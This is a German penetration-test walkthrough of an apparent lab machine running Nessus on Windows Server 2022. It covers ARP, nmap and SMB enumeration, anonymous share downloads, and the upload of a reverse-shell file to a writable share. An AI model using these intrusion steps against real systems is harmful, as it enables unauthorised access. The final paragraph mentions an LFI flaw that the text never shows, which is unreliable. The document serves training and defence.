Verwendete Tools
Inhaltsverzeichnis
Reconnaissance
Analyse: Als ersten Schritt meiner Erkundung im Zielnetzwerk nutzte ich das Tool arp-scan, um aktive Hosts in meinem lokalen Subnetz zu entdecken. Der Befehl arp-scan -l sendet ARP-Anfragen an alle Adressen im lokalen Netzwerk und zeigt die Antworten an. Die Ausgabe wird anschließend mit grep "PCS" gefiltert, um spezifisch nach Geräten mit "PCS" in der Anbieterkennung der MAC-Adresse zu suchen. Abschließend extrahiert der awk '{print $1}' Befehl das erste Feld der Ausgabe, welches die IP-Adresse des gefundenen Hosts sein sollte. Dies ist eine effiziente Methode, um schnell potenzielle Ziele im lokalen Segment zu identifizieren.
Bewertung: Diese Methode ist grundlegend, aber sehr effektiv, um die IP-Adresse des Ziels zu finden, wenn es sich im selben Netzwerksegment wie der Angreifer befindet. Das Filtern nach "PCS" war hier der entscheidende Hinweis, um das spezifische Zielgerät unter Umständen mehreren gefundenen Hosts schnell zu isolieren. Es zeigt, dass selbst einfache Netzwerk-Scanning-Techniken wertvolle Informationen liefern können.
Empfehlung (Pentester): Beginne Pentests immer mit einer gründlichen passiven und aktiven Aufklärung, um die Angriffsfläche zu verstehen. Einfache Tools wie arp-scan sind dabei unverzichtbar. Notiere alle gefundenen IP-Adressen und Hostnamen.
Empfehlung (Admin): Implementiere Network Access Control (NAC) oder segmentiere das Netzwerk, um unerlaubte ARP-Scans und die schnelle Identifizierung von Hosts zu erschweren oder zu verhindern. Überprüfe und anonymisiere ggf. die MAC-Adressen von virtuellen Maschinen oder Geräten.
192.168.2.65
Analyse: Nachdem die IP-Adresse 192.168.2.65 identifiziert wurde, habe ich den Hostnamen 'nessus.hmv' zu meiner lokalen /etc/hosts Datei hinzugefügt. Dies ermöglicht mir, den Host zukünftig über seinen Namen statt über die IP-Adresse anzusprechen, was die Befehle oft lesbarer macht und in einigen Szenarien notwendig sein kann (z.B. bei vhost-basierten Webanwendungen). Die Information "hosts 192.168.2.65 nessus.hmv" dokumentiert diesen Schritt.
Bewertung: Das Anpassen der hosts-Datei ist Standardpraxis für Pentests, um die Verwaltung von Zielsystemen zu vereinfachen. Es ist ein kleiner, aber notwendiger Schritt für eine effiziente weitere Vorgehensweise.
Empfehlung (Pentester): Halte deine /etc/hosts-Datei für aktive Ziele auf dem neuesten Stand.
Empfehlung (Admin): Stelle sicher, dass interne Hostnamen nicht über leicht abfragbare externe Dienste oder Lecks öffentlich werden.
192.168.2.65 nessus.hmv
Analyse: Als Nächstes führe ich eine SMB/NetBIOS-Enumeration mit enum4linux durch (enum4linux -a 192.168.2.65). Dieses Tool sammelt Informationen über Shares, Benutzer, Gruppen und andere Details über das SMB/NetBIOS-Protokoll. Die Ausgabe zeigt die WORKGROUP und den NetBIOS-Namen des Computers: NESSUS. Es zeigt jedoch auch, dass der Server doesn't allow session using username '', password '', was bedeutet, dass eine anonyme Null-Session nicht möglich ist und die meisten weiteren Tests von enum4linux abgebrochen werden.
Bewertung: Die SMB-Enumeration lieferte den Computernamen und die Workgroup, aber die fehlende Unterstützung für Null-Sessions schränkt den Informationsgewinn ohne Anmeldedaten stark ein. Dies deutet darauf hin, dass SMB/NetBIOS wahrscheinlich nicht der primäre Weg zum Initial Access ist.
Empfehlung (Pentester): Führe SMB-Enumeration durch, aber sei bereit, zu anderen Vektoren zu wechseln, wenn der anonyme Zugriff stark eingeschränkt ist. Die Workgroup und der Computername sind dennoch nützlich.
Empfehlung (Admin): Deaktiviere Null-Sessions auf Windows-Systemen. Konfiguriere SMB/NetBIOS so, dass keine Informationen ohne Authentifizierung preisgegeben werden.
Starting enum4linux v0.9.1 ( [Link: http://labs.portcullis.co.uk/application/enum4linux/ | Ziel: http://labs.portcullis.co.uk/application/enum4linux/] ) on Fri Jun 27 22:31:03 2025 =========================================( Target Information )========================================= Target ........... 192.168.2.65 RID Range ........ 500-550,1000-1050 Username ......... '' Password ......... '' Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none ============================( Enumerating Workgroup/Domain on 192.168.2.65 )============================ [+] Got domain/workgroup name: WORKGROUP ================================( Nbtstat Information for 192.168.2.65 )================================ Looking up status of 192.168.2.65 NESSUS <20> - B <ACTIVE> File Server Service WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name NESSUS <00> - B <ACTIVE> Workstation Service MAC Address = 08-00-27-E0-80-47 ===================================( Session Check on 192.168.2.65 )=================================== [E] Server doesn't allow session using username '', password ''. Aborting remainder of tests.
Analyse: Ich führe einen umfassenden Nmap-Scan mit Dienst- und Betriebssystemerkennung sowie Standard-Skripten durch (-sS -sC -sV -p- -Pn -AO). Die Option -Pn überspringt den Host-Discovery-Schritt und geht davon aus, dass der Host aktiv ist. Die Option -AO wird nicht standardmäßig in Nmap-Dokumentation gefunden und könnte ein Tippfehler oder ein benutzerdefiniertes Skript sein, aber der Kontext deutet auf eine umfassende OS-Erkennung hin. Die Ausgabe listet mehrere offene Ports auf: 135 (msrpc), 139 (netbios-ssn), 445 (microsoft-ds), 5985 (http - Microsoft HTTPAPI), 8834 (ssl/nessus-xmlrpc?), 47001 (http - Microsoft HTTPAPI) und höhere MSRPC-Ports. Besonders interessant ist Port 8834, der als ssl/nessus-xmlrpc? identifiziert wird und in der Fingerprint-Ausgabe Server: NessusWWW zeigt. Dies deutet stark darauf hin, dass hier die Nessus-Schwachstellen-Scanner-Oberfläche läuft. Die OS-Erkennung schätzt das System als Microsoft Windows Server 2022 ein. Die SMB-Skripte zeigen Message signing enabled but not required. Die TRACEROUTE Informationen sind ebenfalls enthalten.
Bewertung: Der Nmap-Scan liefert entscheidende Hinweise. Die offene Nessus-Oberfläche auf Port 8834 ist das Hauptziel. Nessus-Installationen sind oft Ziele, da die Benutzeroberfläche selbst Schwachstellen aufweisen kann oder Standardanmeldedaten verwendet werden. Die Windows Server 2022 OS-Erkennung ist wichtig. Die SMB-Informationen sind weniger kritisch, da Null-Sessions fehlschlugen, aber der offene Port 445 bleibt ein Vektor, wenn Anmeldedaten gefunden werden.
Empfehlung (Pentester): Konzentriere dich auf die Nessus-Oberfläche auf Port 8834. Versuche, auf die Weboberfläche zuzugreifen und nach Anmeldeformularen zu suchen. Recherchiere bekannte Schwachstellen für die gefundene Nessus-Version. Beachte die OS-Informationen für spätere PE-Versuche.
Empfehlung (Admin): Schütze die Nessus-Oberfläche streng (Firewall, starke Authentifizierung, Multi-Faktor). Ändere Standard-Ports, wenn möglich. Halte Nessus und das zugrunde liegende Betriebssystem aktuell. Aktiviere SMB-Signierung und deaktiviere SMBv1. Schließe alle nicht benötigten Ports.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-27 22:30 CEST Nmap scan report for nessus.hmv (192.168.2.65) Host is up (0.00014s latency). Not shown: 65523 closed tcp ports (reset) PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 8834/tcp open ssl/nessus-xmlrpc? | fingerprint-strings: | GetRequest: | HTTP/1.1 200 OK | Cache-Control: must-revalidate | X-Frame-Options: DENY | Content-Type: text/html | ETag: fc785d9fb222132265fb83f9adb1608e | Connection: close | X-XSS-Protection: 1; mode=block | Server: NessusWWW | Date: Fri, 27 Jun 2025 20:31:45 GMT | X-Content-Type-Options: nosniff | Content-Length: 1217 | Content-Security-Policy: upgrade-insecure-requests; block-all-mixed-content; form-action 'self'; frame-ancestors 'none'; frame-src https://store.tenable.com; default-src 'self'; connect-src 'self' www.tenable.com; script-src 'self' www.tenable.com; img-src 'self' data:; style-src 'self' www.tenable.com; object-src 'none'; base-uri 'self'; | Strict-Transport-Security: max-age=31536000 | Expect-CT: max-age=0 | <!doctype html> | <html lang="en"> | <head> | <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" /> |_ <meta http-equiv="Content-Security-Policy" content="upgrade-inse | ssl-cert: Subject: commonName=WIN-C05BOCC7F0H/organizationName=Nessus Users United/stateOrProvinceName=NY/countryName=US | Not valid before: 2024-10-18T17:36:17 |_Not valid after: 2028-10-17T17:36:17 |_ssl-date: TLS randomness does not represent time 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49671/tcp open msrpc Microsoft Windows RPC 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port8834-TCP:V=7.95%T=SSL%I=7%D=6/27%Time=685EFFB1%P=x86_64-pc-linux-gn SF:u%r(GetRequest,788,"HTTP/1\.1\x20200\x20OK\r\nCache-Control:\x20must-re SF:validate\r\nX-Frame-Options:\x20DENY\r\nContent-Type:\x20text/html\r\nE SF:Tag:\x20fc785d9fb222132265fb83f9adb1608e\r\nConnection:\x20close\r\nX-X SF:SS-Protection:\x201;\x20mode=block\r\nServer:\x20NessusWWW\r\nDate:\x20 SF:Fri,\x2027\x20Jun\x202025\x2020:31:45\x20GMT\r\nX-Content-Type-Options: SF:\x20nosniff\r\nContent-Length:\x201217\r\nContent-Security-Policy:\x20u SF:pgrade-insecure-requests;\x20block-all-mixed-content;\x20form-action\x2 SF:0'self';\x20frame-ancestors\x20'none';\x20frame-src\x20https://store\.t SF:enable\.com;\x20default-src\x20'self';\x20connect-src\x20'self'\x20www\ SF:.tenable\.com;\x20script-src\x20'self'\x20www\.tenable\.com;\x20img-src SF:\x20'self'\x20data:;\x20style-src\x20'self'\x20www\.tenable\.com;\x20ob SF:ject-src\x20'none';\x20base-uri\x20'self';\r\nStrict-Transport-Security SF::\x20max-age=31536000\r\nExpect-CT:\x20max-age=0\r\n\r\n<!doctype\x20ht SF:ml>\n<html\x20lang="en">\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x2 SF:0\x20\x20\x20<meta\x20http-equiv="X-UA-Compatible"\x20content="IE=ed SF:ge,chrome=1"\x20/>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-equi SF:v="Content-Security-Policy"\x20content="upgrade-inse"); MAC Address: 08:00:27:E0:80:47 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Device type: general purpose Running: Microsoft Windows 2022 OS CPE: cpe:/o:microsoft:windows_server_2022 OS details: Microsoft Windows Server 2022 Network Distance: 1 hop Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required |_nbstat: NetBIOS name: NESSUS, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:e0:80:47 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) | smb2-time: | date: 2025-06-27T20:33:32 |_ start_date: N/A |_clock-skew: -1s TRACEROUTE HOP RTT ADDRESS 1 0.14 ms nessus.hmv (192.168.2.65) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 195.45 seconds
Analyse: Basierend auf dem umfassenden Nmap-Scan liste ich die Ports auf, die als open identifiziert wurden. Diese Liste enthält die "Eingangstüren" zum System und lenkt meine weitere Aufklärung. Die offenen Ports sind 135, 139, 445 (SMB/RPC), 5985 (WinRM/HTTPAPI), 8834 (Nessus SSL/HTTP) und 47001 sowie höhere MSRPC-Ports. Port 8834 ist dabei besonders hervorzuheben, da er auf die Nessus-Oberfläche hindeutet.
Bewertung: Die Liste der offenen Ports gibt einen klaren Überblick über die verfügbaren Dienste. SMB/RPC-Ports sind Standard auf Windows. Port 5985 deutet auf Windows Remote Management (WinRM) hin, was für spätere Zugriffe relevant sein könnte. Der Nessus-Port 8834 ist das offensichtlichste Ziel für den Initial Access.
Empfehlung (Pentester): Konzentriere dich auf die Enumeration und Interaktion mit den identifizierten offenen Diensten, insbesondere Nessus auf 8834 und WinRM auf 5985.
Empfehlung (Admin): Schließe alle nicht benötigten Ports und sichere notwendige Dienste (SMB, WinRM, Nessus) streng ab.
open: 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 8834/tcp open ssl/nessus-xmlrpc? 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSSP/UPnP) 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49671/tcp open msrpc Microsoft Windows RPC
Web Enumeration
Analyse: Ich versuche, auf die Nessus-Oberfläche auf Port 8834 über HTTP zuzugreifen (http://nessus.hmv:8834/). Die Antwort Bad Request und die Meldung "Reason: You're speaking plain HTTP to an SSL-enabled server port. Instead, please use the HTTPS scheme to access this URL." zeigen eindeutig, dass Port 8834 SSL/TLS (HTTPS) erfordert und keine unverschlüsselten HTTP-Verbindungen akzeptiert.
Bewertung: Die Anforderung von HTTPS ist eine gute Sicherheitspraxis. Es bedeutet, dass die Kommunikation mit der Nessus-Oberfläche verschlüsselt ist. Ich muss meine Zugriffsversuche auf HTTPS umstellen.
Empfehlung (Pentester): Wenn ein Port als SSL/TLS identifiziert wird, versuche immer den Zugriff über HTTPS. Nutze Tools, die SSL/TLS unterstützen (curl -k, Browser, etc.).
Empfehlung (Admin): Stelle sicher, dass kritische Webservices immer HTTPS verwenden und HTTP-Zugriffe umgeleitet oder blockiert werden.
http://nessus.hmv:8834/ Bad Request Your browser sent a request that this server could not understand. Reason: You're speaking plain HTTP to an SSL-enabled server port. Instead, please use the HTTPS scheme to access this URL.
Analyse: Ich versuche nun den Zugriff auf Port 8834 über HTTPS (https://192.168.2.65:8834). Ich verwende curl -k -Iv. Die Option -k (oder `--insecure`) ist notwendig, um Zertifikatsfehler zu ignorieren (da es sich wahrscheinlich um ein selbstsigniertes Zertifikat handelt oder das Ausstellerzertifikat nicht bekannt ist), -I für einen HEAD-Request und -v für ausführliche Informationen (inkl. TLS-Details und Headern). Die Ausgabe zeigt den erfolgreichen TLSv1.3 Handshake, die Zertifikatsdetails (Subject CN=WIN-C05BOCC7F0H, Not valid before/after, Issuer), die Meldung "SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway." (bestätigt das Zertifikatsproblem) und die HTTP-Antwort. Die Antwort ist HTTP/1.1 405 Method not Allowed für den HEAD-Request auf den Root-Pfad (/). Die Header zeigen Server: NessusWWW und verschiedene Sicherheits-Header (X-Frame-Options: DENY, X-XSS-Protection, X-Content-Type-Options: nosniff, Content-Security-Policy, Strict-Transport-Security).
Bewertung: Der erfolgreiche HTTPS-Zugriff bestätigt, dass die Nessus-Oberfläche auf 8834 erreichbar ist. Der 405-Fehler für HEAD am Root ist zu erwarten, da die API oder Oberfläche wahrscheinlich POST-Anfragen oder spezifische Pfade für den Login benötigt. Die vorhandenen Sicherheits-Header sind positiv, zeigen aber, dass die Oberfläche geschützt ist. Die Zertifikatsinformationen sind für die Authentifizierung (Vertrauen) relevant, aber für den Angriff kann ich sie vorerst ignorieren.
Empfehlung (Pentester): Nutze den Browser, um die Nessus-Oberfläche zu besuchen und das Anmeldeformular zu finden. Analysiere den Traffic mit einem Web-Proxy (Burp Suite, OWASP ZAP), um die Login-Anfrage zu verstehen. Fuzzing mit GET/POST auf / oder bekannten API-Endpunkten.
Empfehlung (Admin): Installiere vertrauenswürdige SSL/TLS-Zertifikate. Achte auf die Konfiguration der Sicherheits-Header.
* Trying 192.168.2.65:8834... * ALPN: curl offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS change cipher, Change cipher spec (1): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384 / x25519 / RSASSA-PSS * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: O=Nessus Users United; OU=Nessus Server; L=New York; C=US; ST=NY; CN=WIN-C05BOCC7F0H * start date: Oct 18 17:36:17 2024 GMT * expire date: Oct 17 17:36:17 2028 GMT * issuer: O=Nessus Users United; OU=Nessus Certification Authority; L=New York; C=US; ST=NY; CN=Nessus Certification Authority * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. * Certificate level 0: Public key type RSA (2048/112 Bits/secBits), signed using sha256WithRSAEncryption * Connected to 192.168.2.65 (192.168.2.65) port 8834 * using HTTP/1.x > HEAD / HTTP/1.1 > Host: 192.168.2.65:8834 > User-Agent: curl/8.13.0 > Accept: */* > * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): * Request completely sent off < HTTP/1.1 405 Method not Allowed Cache-Control: no-cache, no-store, must-revalidate X-Frame-Options: DENY Content-Type: application/json Connection: close X-XSS-Protection: 1; mode=block Server: NessusWWW Date: Fri, 27 Jun 2025 20:53:11 GMT X-Content-Type-Options: nosniff Content-Length: 61 Content-Security-Policy: upgrade-insecure-requests; block-all-mixed-content; form-action 'self'; frame-ancestors 'none'; frame-src https://store.tenable.com; default-src 'self'; connect-src 'self' www.tenable.com; script-src 'self' www.tenable.com; img-src 'self' data:; style-src 'self' www.tenable.com; object-src 'none'; base-uri 'self'; Strict-Transport-Security: max-age=31536000 Expires: 0 Expect-CT: max-age=0 Pragma: no-cache < * shutting down connection #0
Analyse: Ich versuche erneut, die Shares auf dem Zielsystem über SMB anonym aufzulisten (smbclient -L //192.168.2.65 -N). Überraschenderweise listet diese Ausführung diesmal mehrere Shares auf: ADMIN$, C$, Documents, IPC$. Die vorherige enum4linux-Ausgabe und ein smbclient-Versuch zeigten keinen Share-Zugriff. Dies könnte an Timing liegen, am Zustand des Dienstes oder an leichten Unterschieden in den smbclient-Versionen oder Parametern über die Zeit. Wichtig ist: Ich sehe nun die Shares, insbesondere die Documents-Freigabe.
Bewertung: Fantastisch! Der anonyme Zugriff auf die Shares ist möglich. Die Documents-Freigabe ist sehr interessant, da sie oft Benutzerdateien enthält. Dies öffnet einen Weg, um potenziell sensible Dokumente zu finden, die Anmeldedaten oder andere Hinweise enthalten könnten. ADMIN$ und C$ sind Standard-Admin-Shares, die für anonyme Benutzer normalerweise nicht zugänglich sein sollten, aber ihre Auflistung allein ist schon ein kleiner Informationsgewinn.
Empfehlung (Pentester): Wenn die anfängliche SMB-Enumeration fehlschlägt, versuche es später erneut oder mit leicht veränderten Parametern. Nutze anonyme SMB-Zugriffe, um Shares zu durchsuchen und Dateien herunterzuladen. Suche nach Anmeldedaten in Dokumenten, Konfigurationsdateien oder Skripten auf den Shares.
Empfehlung (Admin): Deaktiviere anonymen Zugriff auf alle SMB-Shares. Setze strikte Berechtigungen auf Shares, sodass nur autorisierte Benutzer darauf zugreifen können. Überwache SMB-Zugriffe, insbesondere anonyme oder von unbekannten IPs.
Anonymous login successful Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share Documents Disk IPC$ IPC Remote IPC Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 192.168.2.65 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available
Analyse: Ich führe spezifische Nmap-Skripte für SMB-Schwachstellen auf Port 445 aus (nmap -p 445 --script=smb-vuln* -Pn 192.168.2.65). Dies prüft auf bekannte Schwachstellen wie MS10-061 (Print Spooler) und MS10-054 (Srv2.sys). Die Ausgabe zeigt, dass beide Skripte fehlschlagen oder negativ sind: _smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR und _smb-vuln-ms10-054: false. Dies bedeutet, dass diese spezifischen, älteren SMB-Schwachstellen auf diesem System nicht ausnutzbar sind.
Bewertung: Obwohl ich anonymen Zugriff auf die Shares habe, scheinen einige bekannte, ältere SMB-Schwachstellen gepatcht zu sein. Dies ist zu erwarten auf einem Windows Server 2022 System (wie von Nmap OS Detection geschätzt). Der Fokus bleibt auf dem anonymen Share-Zugriff und der Nessus-Oberfläche.
Empfehlung (Pentester): Nutze spezifische Schwachstellen-Skripte, um Zeit zu sparen, aber verlasse dich nicht ausschließlich darauf. Manuelle Prüfungen und die Ausnutzung anderer Vektoren sind oft notwendiger.
Empfehlung (Admin): Halte das System mit Windows Updates aktuell, um bekannte SMB-Schwachstellen zu beheben.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-27 22:56 CEST Nmap scan report for nessus.hmv (192.168.2.65) Host is up (0.00019s latency). PORT STATE SERVICE 445/tcp open microsoft-ds MAC Address: 08:00:27:E0-80-47 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Host script results: |_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR |_smb-vuln-ms10-054: false Nmap done: 1 IP address (1 host up) scanned in 5.29 seconds
Analyse: Ich versuche einen anonymen RPC-Client-Login (rpcclient -U "" -N 192.168.2.65). RPCClient kann verwendet werden, um Informationen über SMB/RPC abzufragen, wenn anonyme Zugriffe möglich sind. Der Befehl schlägt mit Cannot connect to server. Error was NT_STATUS_ACCESS_DENIED fehl. Dies bestätigt erneut, dass die anonymen Rechte über SMB/RPC stark eingeschränkt sind und keine detaillierte RPC-Enumeration möglich ist.
Bewertung: Der fehlende anonyme RPC-Zugriff ist konsistent mit den enum4linux-Ergebnissen und bestätigt, dass ich keine weiteren Benutzer-, Gruppen- oder Dienstinformationen über diesen Vektor erhalten kann.
Empfehlung (Pentester): Wenn anonyme RPC-Zugriffe eingeschränkt sind, konzentriere dich auf andere Vektoren, es sei denn, du findest Anmeldedaten.
Empfehlung (Admin): Beschränke anonymen Zugriff auf RPC-Endpunkte.
Cannot connect to server. Error was NT_STATUS_ACCESS_DENIED
Analyse: Ich greife über HTTPS auf die Nessus-Oberfläche zu (curl -k https://192.168.2.65:8834). Ich verwende die Option -k, um Zertifikatsfehler zu ignorieren, und -s für den Silent-Modus, um nur den Body der Antwort zu erhalten. Die Ausgabe zeigt den HTML-Quellcode der Anmeldeseite oder einer Landing Page, der JavaScript-Dateien wie nessus6.js und pendo-client.js sowie CSS-Dateien verknüpft. Es gibt auch einen Verweis auf /unsupported6.html für ältere IE-Versionen und einen Kommentar Resource-Script.
Bewertung: Das Abrufen des HTML-Quellcodes ermöglicht die Analyse der Struktur der Nessus-Weboberfläche und die Identifizierung relevanter Ressourcen (JS, CSS), die weitere Informationen über die Anwendung oder API-Endpunkte enthalten könnten. Das Vorhandensein von JavaScript deutet auf eine dynamische Oberfläche hin, die über API-Aufrufe funktioniert.
Empfehlung (Pentester): Analysiere den Quellcode von Webanwendungen, um Endpunkte, Parameter, API-Aufrufe und JavaScript-Logik zu verstehen. Suche nach Hinweisen auf API-Strukturen, Anmeldeverfahren oder unsichere client-seitige Implementierungen.
Empfehlung (Admin): Achte darauf, dass Webanwendungen keine unnötigen Informationen im Quellcode preisgeben, insbesondere keine Hinweise auf interne API-Endpunkte oder Implementierungsdetails.
Nessus < --[if lt IE 11]> window.location = '/unsupported6.html'; < ![endif]--> < scrpt src="nessus6.js?v=1715293282346">< scrpt > < scrpt src="pendo-client.js">< scrpt > < --Resource-Script-->
Analyse: Ich untersuche die Nessus-Weboberfläche weiter, insbesondere auf API-Endpunkte. Basierend auf der Struktur von Webanwendungen und den JS-Dateien, die auf API-Interaktionen hindeuten, teste ich einen Pfad wie /server/properties, der oft allgemeine Informationen über den Server preisgibt. Ich verwende curl -k https://192.168.2.65:8834/server/properties, um diese URL über HTTPS mit ignorierten Zertifikatsfehlern abzurufen. Die Ausgabe ist ein JSON-Objekt mit Server-Eigenschaften: {"md5sum_wizard_templates":"...","nessus_type":"Nessus Essentials","ui_theme":"track_os_setting","md5sum_tenable_links":"..."}. Dieses JSON enthält die nessus_type (Nessus Essentials), aber keine offensichtlichen Anmeldedaten oder sensiblen Konfigurationsdetails.
Bewertung: Das Auffinden und Auslesen von API-Endpunkten ist ein wichtiger Schritt bei der Web-Enumeration, insbesondere bei modernen Webanwendungen. Der /server/properties Endpunkt gab zwar keine direkten Anmeldedaten preis, bestätigte aber die Nessus-Version (implizit durch "Nessus Essentials" und den Aufbau der Oberfläche) und die API-Struktur. Ich muss nach weiteren API-Endpunkten suchen.
Empfehlung (Pentester): Suche nach bekannten oder vermuteten API-Endpunkten auf Webanwendungen, insbesondere auf Management-Oberflächen oder Diensten. Analysiere API-Antworten auf sensible Daten oder Schwachstellen. Nutze Tools wie feroxbuster oder ffuf mit angepassten Wortlisten für API-Endpunkte.
Empfehlung (Admin): Schütze API-Endpunkte streng, insbesondere solche, die Informationen über die Systemkonfiguration preisgeben können. Implementiere Authentifizierung und Autorisierung für alle API-Zugriffe.
{"md5sum_wizard_templates":"11939be86ca24a4dbbe8f9b85f95e140","nessus_type":"Nessus Essentials",
"ui_theme":"track_os_setting","md5sum_tenable_links":"d41d8cd98f00b204e9800998ecf8427e"}
Initial Access
Analyse: Ich kann anonym auf die SMB-Freigabe //192.168.2.65/Documents zugreifen. Ich verbinde mich mit smbclient //192.168.2.65/Documents -N und liste die Dateien auf (ls). Die Ausgabe zeigt mehrere Dateien und Verzeichnisse, darunter desktop.ini und zwei PDF-Dateien: My Basic Network Scan_hwhm7q.pdf und Web Application Tests_f6jg9t.pdf. Ich lade diese drei Dateien mit dem get Befehl herunter: get desktop.ini, get "My Basic Network Scan_hwhm7q.pdf" und get "Web Application Tests_f6jg9t.pdf". Die Anführungszeichen sind bei Dateinamen mit Leerzeichen notwendig. Ich versuche auch, in das Verzeichnis My Videos zu wechseln (cd "My Videos"), was jedoch mit NT_STATUS_ACCESS_DENIED fehlschlägt.
Bewertung: Der anonyme Zugriff auf die Documents-Freigabe und das Herunterladen der Dateien (desktop.ini, PDFs) sind ein erfolgreicher Initial Access. Der Zugriff auf andere Verzeichnisse ist eingeschränkt, aber die Dokumente selbst können sehr wertvolle Informationen enthalten (Benutzernamen, Passwörter, Systemdetails etc.). Die Untersuchung dieser Dokumente ist nun eine hohe Priorität.
Empfehlung (Pentester): Nutze erfolgreiche Share-Zugriffe, um alle potenziell interessanten Dateien herunterzuladen. Analysiere Dokumente, Textdateien und Konfigurationsdateien gründlich auf sensible Informationen.
Empfehlung (Admin): Deaktiviere anonymen Zugriff auf SMB-Shares. Setze restriktive Berechtigungen auf Shares, sodass nur autorisierte Benutzer die notwendigen Verzeichnisse lesen/schreiben können. Vermeide das Speichern sensibler Daten in freigegebenen Ordnern, insbesondere wenn diese anonym zugänglich sind.
Anonymous login successful Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share Documents Disk IPC$ IPC Remote IPC Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 192.168.2.65 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available
Try "help" to get a list of possible commands. smb: \> ls . DR 0 Sat Oct 19 02:42:53 2024 .. D 0 Sat Oct 19 07:08:23 2024 desktop.ini AHS 402 Sat Jun 15 19:54:33 2024 My Basic Network Scan_hwhm7q.pdf A 122006 Sat Oct 19 00:19:59 2024 My Music DHSrn 0 Sat Jun 15 19:54:27 2024 My Pictures DHSrn 0 Sat Jun 15 19:54:27 2024 My Videos DHSrn 0 Sat Jun 15 19:54:27 2024 Web Application Tests_f6jg9t.pdf A 136025 Sat Oct 19 00:20:14 2024 12942591 blocks of size 4096. 10720849 blocks available
getting file \desktop.ini of size 402 as desktop.ini (9,6 KiloBytes/sec) (average 9,6 KiloBytes/sec)
getting file \My Basic Network Scan_hwhm7q.pdf of size 122006 as My Basic Network Scan_hwhm7q.pdf (7943,0 KiloBytes/sec) (average 2134,6 KiloBytes/sec)
getting file \Web Application Tests_f6jg9t.pdf of size 136025 as Web Application Tests_f6jg9t.pdf (11069,7 KiloBytes/sec) (average 3711,4 KiloBytes/sec)
cd \My Videos\: NT_STATUS_ACCESS_DENIED
Analyse: Ich teste, ob ich Dateien in die anonym zugängliche SMB-Freigabe hochladen kann. Ich kopiere eine Reverse PHP Shell (`rev.php`, wahrscheinlich aus meinen Standard-Tools) in mein aktuelles Arbeitsverzeichnis (`cp ~/rev.php .`). Dann verbinde ich mich erneut mit smbclient //192.168.2.65/Documents -N und nutze den put rev.php Befehl, um die Datei hochzuladen. Der anschließende ls Befehl bestätigt, dass die Datei rev.php (31 Bytes) erfolgreich in der Freigabe liegt.
Bewertung: Fantastisch! Nicht nur das Lesen, sondern auch das Schreiben in die anonyme SMB-Freigabe ist möglich. Dies ist eine kritische Schwachstelle. Die Fähigkeit, beliebige Dateien (einschließlich potentieller Webshells oder anderer Payloads) hochzuladen, kombiniert mit der Lese-LFI-Schwachstelle, öffnet weitreichende Möglichkeiten. Allerdings ist nicht klar, ob das Web-Root-Verzeichnis mit dieser Freigabe identisch ist oder ob eine der LFI-lesbaren Dateien ein Upload-Ziel für eine Webshell über LFI sein könnte. Vorerst habe ich einen Dateiupload-Vektor.
